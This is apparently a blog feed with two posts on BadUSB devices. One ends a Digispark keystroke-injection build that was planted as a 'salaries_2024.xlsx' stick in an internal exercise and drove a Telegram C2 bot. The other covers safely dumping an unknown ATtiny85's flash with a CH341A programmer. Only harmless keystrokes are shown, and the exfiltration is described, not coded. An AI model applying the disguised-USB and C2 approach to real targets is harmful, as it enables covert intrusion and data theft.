<span id="cb20-53">  DigiKeyboard<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span>delay<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">(</span><span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">1000</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">);</span> <span class="co" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">// DELAY 1000</span></span>
<span id="cb20-54">  DigiKeyboard<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span>sendKeyStroke<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">(</span><span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">40</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span> <span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">0</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">);</span> <span class="co" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">// ENTER</span></span>
<span id="cb20-55">  DigiKeyboard<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span>delay<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">(</span><span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">10000</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">);</span> <span class="co" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">// DELAY 10000</span></span>
<span id="cb20-56">  duckyString<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">(</span>key_exit<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span> <span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">sizeof</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">(</span>key_exit<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">));</span> <span class="co" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">// STRING exit</span></span>
<span id="cb20-57">  DigiKeyboard<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span>delay<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">(</span><span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">500</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">);</span> <span class="co" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">// DELAY 500</span></span>
<span id="cb20-58">  DigiKeyboard<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span>sendKeyStroke<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">(</span><span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">40</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span> <span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">0</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">);</span> <span class="co" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">// ENTER</span></span>
<span id="cb20-59">  DigiKeyboard<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span>delay<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">(</span><span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">1000</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">);</span> <span class="co" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">// DELAY 1000</span></span>
<span id="cb20-60">  duckyString<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">(</span>key_exit<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span> <span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">sizeof</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">(</span>key_exit<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">));</span> <span class="co" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">// STRING exit</span></span>
<span id="cb20-61">  DigiKeyboard<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span>delay<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">(</span><span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">500</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">);</span> <span class="co" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">// DELAY 500</span></span>
<span id="cb20-62">  DigiKeyboard<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span>sendKeyStroke<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">(</span><span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">40</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span> <span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">0</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">);</span> <span class="co" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">// ENTER</span></span>
<span id="cb20-63"></span>
<span id="cb20-64">  delay<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">(</span><span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">2</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">*</span>hours<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">);</span></span>
<span id="cb20-65"><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">}</span></span></code></pre></div></div>
<p>Following the steps explained earlier, I compiled and flashed the final sketch, completing the setup with the extension USB cable and a new 3D-printed case with a phishy <code>salaries_2024.xlsx</code> label on it.</p>
<p>The following day at the office, I simply waited until everyone had gone home, stealthily plugged in the suspicious USB, and hoped everything worked as planned.</p>
<p>Additionally, I developed a Telegram bot to monitor the exfiltrated data and control the C2 implant.</p>
<p><img src="https://0xlibris.net/posts/reversing_badusb_2/img/telegram_bot.jpg" title="Telegram C2 channel" class="img-fluid"></p>
</section>
</section>
<section id="gamification" class="level2">
<h2 class="anchored" data-anchor-id="gamification">Gamification</h2>
<p>To improve the quality of the exercise, I organized a Capture The Flag (CTF) event for my team. With different challenges and hints, it’s easier to achieve the objectives and get more familiar with all the different tools and solutions of the SOC. After all, who doesn’t enjoy a good CTF?</p>
<p>Setting up everything was straightforward thanks to <a href="https://github.com/CTFd/CTFd">CTFd</a>, ensuring a smooth and engaging event.</p>
<p><img src="https://0xlibris.net/posts/reversing_badusb_2/img/ctf_challenges.jpg" title="CTF challenges" class="img-fluid"></p>
<p>Final scoreboard:</p>
<p><img src="https://0xlibris.net/posts/reversing_badusb_2/img/ctf_scoreboard.jpg" title="CTF scoreboard" class="img-fluid"></p>
<p>Overall, it was a fun experience.</p>
</section>
<section id="conclusion" class="level2">
<h2 class="anchored" data-anchor-id="conclusion">Conclusion</h2>
<p>Despite initial setbacks and frustrations, thanks to <em>being more stubborn than a mule</em>, I finally created a functional BadUSB. And why not use it for something useful?</p>
<p>I enjoyed crafting each step of the payload and chaining them together. Thinking like an attacker can be very useful for the defense team, as it provides a broader perspective of the cybersecurity landscape. It also helps to improve the detections and response.</p>
<p>Creating the CTF was the perfect way to wrap everything up. It was not only fun but also a great learning experience.</p>
<p>But weren’t these articles about reversing a badusb? Where is the reversing? Well, now that we have a <em>malicious</em> USB stick, we can finally reverse it. But that will be in the next post.</p>


</section>

<a onclick="window.scrollTo(0, 0); return false;" id="quarto-back-to-top"><i class="bi bi-arrow-up"></i> Back to top</a> ]]></description>
  <category>hardware</category>
  <category>badusb</category>
  <category>digispark</category>
  <category>duckify</category>
  <category>CTF</category>
  <guid>https://0xlibris.net/posts/reversing_badusb_2/</guid>
  <pubDate>Tue, 16 Jul 2024 00:00:00 GMT</pubDate>
  <media:content url="https://0xlibris.net/posts/reversing_badusb_2/img/badusb_salaries_2024.jpg" medium="image" type="image/jpeg"/>
</item>
<item>
  <title>How to safely investigate an unknown and potentially malicious USB device [1/3]</title>
  <link>https://0xlibris.net/posts/reversing_badusb_1/</link>
  <description><![CDATA[ 






<section id="introduction" class="level2">
<h2 class="anchored" data-anchor-id="introduction">Introduction</h2>
<p>One day, I was playing around at the office with <a href="https://docs.flipper.net/bad-usb">Flipper Zero’s “bad USB”</a> mode. A colleague saw me and, while talking about USB sticks / ducks, he gave me one that was lost in a drawer. He thought I could give it a <em>second</em> life.</p>
<p>At first, I was skeptical about testing on any computer. I didn’t know its contents, and my standard paranoia level is a <strong>bit</strong> above normal. Reading this question on <em>superuser</em> also triggered me: <a href="https://superuser.com/questions/1206321/how-do-i-safely-investigate-a-usb-stick-found-in-the-parking-lot-at-work">How do I safely investigate a USB stick found in the parking lot at work?</a></p>
<p>Did I trust my collage? Absolutely, yes. Could I ask him about the contents or its origin? Of course, but an idea had already been implanted in my mind:</p>
<blockquote class="blockquote">
<p><em>Is it possible to analyze the contents of a poor’s man rubber ducky without plugging in the USB and risking a possible infection?</em></p>
</blockquote>
<p>Was this idea a <strong>clear</strong> sign to dive into low-level technical hell? Of course, but mentally, I had already fallen down the rabbit hole…</p>
<section id="previous-knowledge" class="level3">
<h3 class="anchored" data-anchor-id="previous-knowledge">Previous knowledge</h3>
<p>As I mentioned before, I had some experience experimenting with Flipper Zero. It’s so easy, plug and play, very <em>skiddie</em>.</p>
<p>I was already familiar with the original <a href="https://shop.hak5.org/products/usb-rubber-ducky">Rubber Ducky USB by Hak5</a> and its cheaper alternative, which I suspected my new USB stick might be.</p>
<p>A Rubber Ducky USB is a type of hardware-based hacking tool that looks and functions like a regular USB flash drive but can inject pre-programmed keystroke payloads into a computer when plugged in. It essentially acts as a keyboard and can execute a series of commands very quickly. These commands can range from harmless pranks to serious security breaches.</p>
<p>The USB Rubber Ducky uses a special scripting language called DuckyScript. The following example opens Notepad (on a Windows machine) and writes <code>Hello World!</code>.</p>
<div class="code-copy-outer-scaffold"><div class="sourceCode" id="cb1" style="background: #f1f3f5;"><pre class="sourceCode bash code-with-copy"><code class="sourceCode bash"><span id="cb1-1"><span class="ex" style="color: null;
background-color: null;
font-style: inherit;">REM</span> This is a comment</span>
<span id="cb1-2"><span class="ex" style="color: null;
background-color: null;
font-style: inherit;">DELAY</span> 500</span>
<span id="cb1-3"><span class="ex" style="color: null;
background-color: null;
font-style: inherit;">GUI</span> r</span>
<span id="cb1-4"><span class="ex" style="color: null;
background-color: null;
font-style: inherit;">DELAY</span> 500</span>
<span id="cb1-5"><span class="ex" style="color: null;
background-color: null;
font-style: inherit;">STRING</span> notepad</span>
<span id="cb1-6"><span class="ex" style="color: null;
background-color: null;
font-style: inherit;">ENTER</span></span>
<span id="cb1-7"><span class="ex" style="color: null;
background-color: null;
font-style: inherit;">DELAY</span> 500</span>
<span id="cb1-8"><span class="ex" style="color: null;
background-color: null;
font-style: inherit;">STRING</span> Hello World!</span></code></pre></div></div>
<p>The original Rubber Ducky USB was released around 2010 and used the Atmel AT32UC3B1256 microcontroller, a 32-bit AVR. Since then, it has evolved with more features like OS detection, defense evasion, and keystroke reflection.</p>
<p><img src="https://0xlibris.net/posts/reversing_badusb_1/img/rubber_ducky.jpg" title="Rubber Ducky USB" class="img-fluid"></p>
<p>I know, I’m so late to the party that I even had to search using the <a href="https://web.archive.org/web/20111030084433/http://hakshop.myshopify.com:80/products/usb-rubber-ducky">WayBackMachine</a>.</p>
</section>
<section id="component-identification" class="level3">
<h3 class="anchored" data-anchor-id="component-identification">Component identification</h3>
<p>So what do we have here?</p>
<p><img src="https://0xlibris.net/posts/reversing_badusb_1/img/usb1.jpg" title="USB device" class="img-fluid"></p>
<p><img src="https://0xlibris.net/posts/reversing_badusb_1/img/usb2.jpg" title="USB devide with broken 3D-printed case" class="img-fluid"></p>
<p>There is a USB device and a broken 3D-printed case. Very phishy.</p>
<p>Let’s take a closer look to identify the components of the device:</p>
<p><img src="https://0xlibris.net/posts/reversing_badusb_1/img/usb3_text.jpg" title="Identify the components of the USB device" class="img-fluid"></p>
<ul>
<li><code>ATMEL20U TINY85 1804HRV</code> -&gt; Atmel’s ATtiny85 microcontroller with an 8-bit AVR CPU.</li>
<li><code>78M05 A1718</code> -&gt; 3-terminal linear voltage regulator designed to provide a stable 5V output.</li>
<li><code>S4</code> diode</li>
<li>A couple of LEDs</li>
<li>Tiny SMD resistors and capacitors</li>
<li>Missing component (???)</li>
</ul>
<p>Searching for <code>ATtiny85 + badusb</code> instantly leads to <strong>Digispark</strong>.</p>
</section>
</section>
<section id="learning-the-basics" class="level2">
<h2 class="anchored" data-anchor-id="learning-the-basics">Learning the basics</h2>
<p>Before doing anything with the device, I had to learn a lot about electronics and hardware hacking. Not in the order presented here, but I’ve tried to summarize and explain the basics.</p>
<p>It’s very possible that I’m wrong on some things, so please have some mercy.</p>
<section id="digispark" class="level3">
<h3 class="anchored" data-anchor-id="digispark">Digispark</h3>
<p>The <a href="https://www.kickstarter.com/projects/digistump/digispark-the-tiny-arduino-enabled-usb-dev-board">Digispark</a> is a tiny, affordable microcontroller development board based on the ATtiny85. It was designed by Digistump and launched around 2012-2013. With its compact size, built-in USB connector, and low cost (usually between 1€ and 5€), it has become very popular among hobbyists, makers, and developers.</p>
<p>This small USB board is also perfect for implementing a Rubber Ducky clone. It can be programmed to mimic keyboard inputs and execute pre-defined scripts and commands when plugged into a computer, acting as a custom USB Human Interface Device (HID).</p>
<p>Unlike the Rubber Ducky, the Digispark doesn’t have an integrated SD card, so the payloads have to be flashed into memory instead. This fact confirms that my goal is still possible :)</p>
<p>The board I have seems like a copy of the original Digispark. Here we can see the differences:</p>
<p><img src="https://0xlibris.net/posts/reversing_badusb_1/img/usb4.jpg" title="Differences between the original Digispark vs a copy." class="img-fluid"></p>
<p>At the time of writing this post, the Digispark documentation is no longer available. That makes my task harder and funnier. <a href="https://web.archive.org/web/20240229063806/http://digistump.com/wiki/digispark">Web Archive of Digispark’s wiki</a></p>
<p>The board has very few components, and the most interesting part is the ATtiny85. Here is the original schematic of the Digispark board:</p>
<p><img src="https://0xlibris.net/posts/reversing_badusb_1/img/digispark_schematic.jpg" title="Digispark schematic" class="img-fluid"></p>
</section>
<section id="attiny85" class="level3">
<h3 class="anchored" data-anchor-id="attiny85">ATTiny85</h3>
<p>The brain of the Digispark is the ATTiny85. It is a microcontroller that belongs to the family of AVR microcontrollers, developed by Atmel since 1996 (acquired by Microchip Technology in 2016). AVR is a modified Harvard architecture 8-bit RISC single-chip microcontroller. The ATTiny85 was released in 2005.</p>
<p>This is the <a href="https://ww1.microchip.com/downloads/en/DeviceDoc/Atmel-2586-AVR-8-bit-Microcontroller-ATtiny25-ATtiny45-ATtiny85_Datasheet.pdf">ATtiny85 Datasheet</a>, and it has been the main and most reliable source of information about the microcontroller. The 200+ pages are hard to read but have been extremely useful for understanding how it works in detail.</p>
<p>The ATtiny microprocessor does not have hardware USB support, and the Digispark board doesn’t have a dedicated chip to handle USB. So, the USB connection goes directly to the ATtiny chip, which lacks built-in USB support. The <a href="https://www.obdev.at/products/vusb/index.html">V-USB</a> software implementation is used to provide a software emulation of the hardware that the chip lacks. I discovered and loved the term <a href="https://en.wikipedia.org/wiki/Bit_banging">bit banging</a>, and how unreliable communications can be. I am amazed that this even works. But there is more.</p>
<p>The chip does not include UART for serial protocol either, so that also has to be bit banged. However, the ATtiny85 has Universal Serial Interface (USI), a multipurpose hardware communication module that can be used to implement SPI or I2C serial interfaces.</p>
<p><img src="https://0xlibris.net/posts/reversing_badusb_1/img/attiny85_pins.jpg" title="ATtiny85 pins" class="img-fluid"></p>
<div class="callout callout-style-default callout-note callout-titled">
<div class="callout-header d-flex align-content-center">
<div class="callout-icon-container">
<i class="callout-icon"></i>
</div>
<div class="callout-title-container flex-fill">
Note
</div>
</div>
<div class="callout-body-container callout-body">
<p>While writing the article and documenting several months later, I found the YouTube video <a href="https://www.youtube.com/watch?v=Gg2nM0OdUtQ">Why a Digispark should not be your first Arduino</a>. Thank God I didn’t find that before, because I would have dismissed my project entirely. The video is pretty good and very well explained, but truly depressing.</p>
<p>Conclusion of the video:</p>
<blockquote class="blockquote">
<p>“If you have microcontroller programming experience generally, or are really curious about bit-banging USB, or have a high pain tolerance then, you know, knock yourself out.”</p>
</blockquote>
<p>Yep, that’s exactly what happened to me.</p>
<p>Let’s continue with my ignorance.</p>
</div>
</div>
<p>In order to program the Digispark, it uses a <em>bootloader</em> with software emulations to take advantage of the built-in USB connector. But what is a bootloader?</p>
</section>
<section id="bootloaders" class="level3">
<h3 class="anchored" data-anchor-id="bootloaders">Bootloaders</h3>
<p>According to the <a href="https://digistump.com/wiki/digispark">Digispark wiki</a>:</p>
<blockquote class="blockquote">
<p><em>The bootloader is the code that is pre-programmed on your Digispark and allows it to act as a USB device so that it can be programmed by the Arduino IDE.</em></p>
</blockquote>
<p>In more general terms, a bootloader is a small program that runs when a microcontroller or computer is powered on (before the reset interrupt). Its primary function is to initialize the hardware and load the main operating system or application software into memory.</p>
<p>In the context of microcontrollers like the Digispark, the bootloader enables the device to be self-programmed via USB without needing an external dedicated hardware programmer. It essentially acts as an intermediary that facilitates firmware updates and custom code uploads.</p>
<p>Different AVR bootloaders:</p>
<ul>
<li>The original Digispark came with the micronucleus version 1.02</li>
<li>Recent versions of <a href="https://github.com/micronucleus/micronucleus">micronucleus</a> (V2.6)</li>
<li><a href="https://github.com/ArminJo/micronucleus-firmware/tree/master">micronucleus fork</a></li>
<li>Arduino bootloaders</li>
<li>USB bootloaders based on V-USB</li>
</ul>
<p>These bootloaders take up between 1/3 and 1/5 of the total Flash memory, and our ATtiny only has 8KB, so the amount of free space available for the actual code is very limited.</p>
<p>At this point, my main hypothesis was that my device contained a specific bootloader and custom software for emulating a USB keyboard. Is it possible to extract the payload that is executed when the USB is plugged in? If I finally get a memory dump of the Flash, how do I know which bootloader is flashed? Where should it be located? What does it look like? Too many questions.</p>
</section>
<section id="avr" class="level3">
<h3 class="anchored" data-anchor-id="avr">AVR</h3>
<p>Let’s continue learning the basics.</p>
<p>AVR (<strong>A</strong>lf (Egil Bogen) and <strong>V</strong>egard (Wollan)’s <strong>R</strong>ISC processor) is a family of microcontrollers with a modified Harvard architecture 8-bit RISC single-chip. It is used in many different things, from industrial PLCs and home electronics to IoT devices.</p>
<p><a href="https://en.wikipedia.org/wiki/Harvard_architecture">(modified) Hardvard architecture</a> definition:</p>
<blockquote class="blockquote">
<p>The Harvard architecture is a computer architecture with separate storage and signal pathways for instructions and data.</p>
<p>The modified Harvard architecture is a variation of the Harvard computer architecture that, unlike the pure Harvard architecture, allows memory that contains instructions to be accessed as data.</p>
</blockquote>
<p><img src="https://0xlibris.net/posts/reversing_badusb_1/img/harvard.jpg" title="Harvard architecture" class="img-fluid"></p>
<p><a href="https://en.wikipedia.org/wiki/Reduced_instruction_set_computer">Reduced Instruction Set Computer (RISC)</a> definition:</p>
<blockquote class="blockquote">
<p>Reduced Instruction Set Computer (RISC) is a computer architecture designed to simplify the individual instructions given to the computer to accomplish tasks.</p>
<p>Compared to the instructions given to a Complex Instruction Set Computer (CISC), a RISC computer might require more instructions (more code) in order to accomplish a task because the individual instructions are written in simpler code.</p>
</blockquote>
<p>Ok, there is a lot to learn here. The Instruction Set Manual (<a href="https://ww1.microchip.com/downloads/en/DeviceDoc/atmel-0856-avr-instruction-set-manual.pdf">Atmel 2016</a> or <a href="https://ww1.microchip.com/downloads/en/DeviceDoc/AVR-Instruction-Set-Manual-DS40002198A.pdf">Microchip 2020</a>) will be very useful later, but let’s focus on our ATtiny device.</p>
</section>
<section id="memory-map" class="level3">
<h3 class="anchored" data-anchor-id="memory-map">Memory Map</h3>
<p>In section <a href="https://ww1.microchip.com/downloads/en/DeviceDoc/Atmel-2586-AVR-8-bit-Microcontroller-ATtiny25-ATtiny45-ATtiny85_Datasheet.pdf#G1.1179079">5. AVR Memories</a> of the datasheet we can find the different memories of the ATtiny85.</p>
<section id="flash-program-memory" class="level4">
<h4 class="anchored" data-anchor-id="flash-program-memory">Flash Program Memory</h4>
<p>The ATtiny85 contains 8K bytes of reprogrammable <strong>Flash</strong> memory, which is where the program code is stored. Since all AVR instructions are 16 or 32 bits wide, the Flash is organized as 4096 x 16.</p>
<p><img src="https://0xlibris.net/posts/reversing_badusb_1/img/memory_program.jpg" title="Program memory of the ATtiny" class="img-fluid"></p>
</section>
<section id="sram-data-memory" class="level4">
<h4 class="anchored" data-anchor-id="sram-data-memory">SRAM Data Memory</h4>
<p>The first 32 locations of the data memory are the Register File, the next 64 locations are the standard I/O memory (I/O registers for accessing “hardware”), and the last 512 locations address the internal data SRAM for run-time variables.</p>
<p><img src="https://0xlibris.net/posts/reversing_badusb_1/img/memory_data.jpg" title="Data memory of the ATtiny" class="img-fluid"></p>
</section>
<section id="eeprom-data-memory" class="level4">
<h4 class="anchored" data-anchor-id="eeprom-data-memory">EEPROM Data Memory</h4>
<p>The ATtiny85 contains 512 bytes of data EEPROM memory. It is organized as a separate data space, in which single bytes can be read and written. This memory can be used by user code to store data that needs to be preserved when the MCU is turned off.</p>
</section>
<section id="lock-bits-and-fuses" class="level4">
<h4 class="anchored" data-anchor-id="lock-bits-and-fuses">Lock Bits and Fuses</h4>
<p>The lock/fuses form a fourth memory area available for programming. Just a few bytes set internal hardware configurations and define different features.</p>
<p>Fuse bit settings for the ATTiny85:</p>
<ul>
<li>Low Fuse Byte (<strong>lfuse</strong>): Clock source selection, clock start-up time, clock output and clock divide.</li>
<li>High Fuse Byte (<strong>hfuse</strong>): Brown-out detection, preserve EEPROM through chip erase, watchdog timer, Enable Serial Program and Data Downloading, DebugWIRE, and External Reset pin functionality.</li>
<li>Extended Fuse Byte (<strong>efuse</strong>): Self-Programming mode.</li>
<li>Lockbit Fuse Preset (<strong>lock</strong>): Memory lock features for additional security.</li>
</ul>
<div class="callout callout-style-default callout-tip callout-titled">
<div class="callout-header d-flex align-content-center">
<div class="callout-icon-container">
<i class="callout-icon"></i>
</div>
<div class="callout-title-container flex-fill">
Tip
</div>
</div>
<div class="callout-body-container callout-body">
<p>Note that fuses are read as logical zero, “0”, when programmed. So “1” means unprogrammed and “0” programmed.</p>
</div>
</div>
<p>The website <a href="https://www.engbedded.com/fusecalc/">AVR Fuse Calculator</a> is an amazing resource to understand the possible features of a wide variety of AVR chips. Another alternative with the lock bits is <a href="https://eleccelerator.com/fusecalc/fusecalc.php?chip=attiny85">eleccelerator.com/fusecalc</a>.</p>
</section>
</section>
</section>
<section id="dumping-memory" class="level2">
<h2 class="anchored" data-anchor-id="dumping-memory">Dumping memory</h2>
<p>Let’s be real, before doing all my research, I knew I didn’t want to plug in the USB directly, so I had already ordered an Integrated Circuit Clip.</p>
<p>Isn’t it cool to pinch a chip and read its secrets? Maybe this whole project was just an excuse to do that 😎.</p>
<p>So, I bought a SOIC8 Test Clip with a bunch of adapters and a cheap CH341A programmer, which is usually used to flash BIOS EEPROMs (?). I don’t know.</p>
<p><img src="https://0xlibris.net/posts/reversing_badusb_1/img/programmer_ch341a_pack.jpg" title="Programmer CH341A SOIC8 pack" class="img-fluid"></p>
<p>At that point, I was a bit overwhelmed and confused. A lot of the documentation was old, unmaintained, deprecated, discontinued, or just not working at all.</p>
<section id="first-attempt-ch341" class="level3">
<h3 class="anchored" data-anchor-id="first-attempt-ch341">First attempt: CH341</h3>
<p>The best article I found about using the CH341A to interact with the ATtiny was <a href="https://ericdraken.com/avr-amtel-attiny-ch341a-isp-programmer/">Flash the AVR Atmel ATtiny Chips with a Modified CH341A ISP Programmer by Eric Draken</a>.</p>
<p>It had the same CH341A programmer pack as me, and was very well explained, so I followed it and tried to reproduce it myself.</p>
<p>The first thing the article says is:</p>
<blockquote class="blockquote">
<p>The problem is that the CH341A is not designed for ATtiny chips, but for flashing motherboard BIOS chips.</p>
</blockquote>
<p>Additionally, this programmer has another problem: the data lines are at 5V and could damage some chips. I found out that it’s a very disliked programmer in the hardware hacking community.</p>
<p>Great choice :D</p>
<p>Still, I decided to keep trying to use the programmer to dump the memory through SPI.</p>
<p>The <code>SCK</code>, <code>MISO</code>, <code>MOSI</code> and <code>Reset</code> (<code>CS</code>) pins are labeled on the ATtiny datasheet and need to be matched to the CH341A/B.</p>
<p><img src="https://0xlibris.net/posts/reversing_badusb_1/img/attiny_pins.jpg" title="Pinout ATtiny25/45/85" class="img-fluid"></p>
<div class="callout callout-style-default callout-warning callout-titled">
<div class="callout-header d-flex align-content-center">
<div class="callout-icon-container">
<i class="callout-icon"></i>
</div>
<div class="callout-title-container flex-fill">
Warning
</div>
</div>
<div class="callout-body-container callout-body">
<p>The voltage should be set to 3.3V. Shorten pins 1 and 2 with a jumper.</p>
</div>
</div>
<p><img src="https://0xlibris.net/posts/reversing_badusb_1/img/programmer_ch341a_pins.jpg" title="CH341A programmer schematic" class="img-fluid"></p>
<p>I used the tool <a href="https://github.com/Trel725/chavrprog">chavrprog</a>, an “<em>AVR programmer based on the Chinese CH341A</em>”.</p>
<p>As already mentioned in the article, the CH341A is not designed for this, and I had to use an unreliable breadboard connection. Even the cables were not the same color.</p>
<p><img src="https://0xlibris.net/posts/reversing_badusb_1/img/first_try_ch341.jpg" title="First attempt using the CH341" class="img-fluid"></p>
<p>Once the connection seemed fine, we could finally dump something:</p>
<div class="code-copy-outer-scaffold"><div class="sourceCode" id="cb2" style="background: #f1f3f5;"><pre class="sourceCode default code-with-copy"><code class="sourceCode default"><span id="cb2-1">$ sudo ./chavrprog -d tiny85 -f</span>
<span id="cb2-2">Device reported its revision [4.03]</span>
<span id="cb2-3">AVR answered!</span>
<span id="cb2-4">Signature read as 1e 93 b</span>
<span id="cb2-5">Signature is correct</span>
<span id="cb2-6">Fuses: low high ext</span>
<span id="cb2-7">e1 dd fe</span>
<span id="cb2-8"></span>
<span id="cb2-9">$ sudo ./chavrprog -d tiny85 -L</span>
<span id="cb2-10">Device reported its revision [4.03]</span>
<span id="cb2-11">AVR answered!</span>
<span id="cb2-12">Signature read as 1e 93 b</span>
<span id="cb2-13">Signature is correct</span>
<span id="cb2-14">Lock byte: ff</span>
<span id="cb2-15"></span>
<span id="cb2-16">$ sudo ./chavrprog -d tiny85 -r f ./dump_chavrprog.bin</span>
<span id="cb2-17">Device reported its revision [4.03]</span>
<span id="cb2-18">AVR answered!</span>
<span id="cb2-19">Signature read as 1e 93 b</span>
<span id="cb2-20">Signature is correct</span>
<span id="cb2-21">Reading to ./dump_chavrprog.bin...</span></code></pre></div></div>
<p>Summary of the fuse values:</p>
<table class="caption-top table">
<colgroup>
<col style="width: 25%">
<col style="width: 25%">
<col style="width: 48%">
</colgroup>
<thead>
<tr class="header">
<th>Fuse</th>
<th>Value</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr class="odd">
<td>lfuse</td>
<td><code>0xe1</code></td>
<td>PPL Clock; Start-up time 1K CK + 64 ms</td>
</tr>
<tr class="even">
<td>hfuse</td>
<td><code>0xdd</code></td>
<td>Enable Serial Program and Data Downloading and Brown-out Detector at 2.7 V</td>
</tr>
<tr class="odd">
<td>efuse</td>
<td><code>0xfe</code></td>
<td>Self Programming enabled</td>
</tr>
<tr class="even">
<td>lock</td>
<td><code>0xff</code></td>
<td>No memory lock features enabled</td>
</tr>
</tbody>
</table>
<p>The progress was promising. The signature and the fuse bits seemed right, but the dump output didn’t make any sense. The dump was like that for all 8K bytes. The <code>binwalk</code> tool did not detect anything either, of course.</p>
<div class="code-copy-outer-scaffold"><div class="sourceCode" id="cb3" style="background: #f1f3f5;"><pre class="sourceCode default code-with-copy"><code class="sourceCode default"><span id="cb3-1">$ xxd dump_chavrprog.bin</span>
<span id="cb3-2">00000000: bfcb 7f01 0202 0303 0404 0505 0606 0707  ................</span>
<span id="cb3-3">00000010: 0808 0909 0a0a 0b0b 0c0c 0d0d 0e0e 0f0f  ................</span>
<span id="cb3-4">00000020: 1010 1111 1212 1313 1414 1515 1616 1717  ................</span>
<span id="cb3-5">00000030: 1818 1919 1a1a 1b1b 1c1c 1d1d 1e1e 1f1f  ................</span>
<span id="cb3-6">00000040: 2020 2121 2222 2323 2424 2525 2626 2727    !!""##$$%%&amp;&amp;''</span>
<span id="cb3-7">00000050: 2828 2929 2a2a 2b2b 2c2c 2d2d 2e2e 2f2f  (())**++,,--..//</span>
<span id="cb3-8">00000060: 3030 3131 3232 3333 3434 3535 3636 3737  0011223344556677</span>
<span id="cb3-9">00000070: 3838 3939 3a3a 3b3b 3c3c 3d3d 3e3e 3f3f  8899::;;&lt;&lt;==&gt;&gt;??</span>
<span id="cb3-10">00000080: 4040 4141 4242 4343 4444 4545 4646 4747  @@AABBCCDDEEFFGG</span>
<span id="cb3-11">00000090: 4848 4949 4a4a 4b4b 4c4c 4d4d 4e4e 4f4f  HHIIJJKKLLMMNNOO</span>
<span id="cb3-12">000000a0: 5050 5151 5252 5353 5454 5555 5656 5757  PPQQRRSSTTUUVVWW</span>
<span id="cb3-13">000000b0: 5858 5959 5a5a 5b5b 5c5c 5d5d 5e5e 5f5f  XXYYZZ[[\\]]^^__</span>
<span id="cb3-14">000000c0: 6060 6161 6262 6363 6464 6565 6666 6767  ``aabbccddeeffgg</span>
<span id="cb3-15">000000d0: 6868 6969 6a6a 6b6b 6c6c 6d6d 6e6e 6f6f  hhiijjkkllmmnnoo</span>
<span id="cb3-16">000000e0: 7070 7171 7272 7373 7474 7575 7676 7777  ppqqrrssttuuvvww</span>
<span id="cb3-17">000000f0: 7878 7979 7a7a 7b7b 7c7c 7d7d 7e7e 7f7f  xxyyzz{{||}}~~..</span>
<span id="cb3-18">00000100: 8080 8181 8282 8383 8484 8585 8686 8787  ................</span>
<span id="cb3-19">...</span>
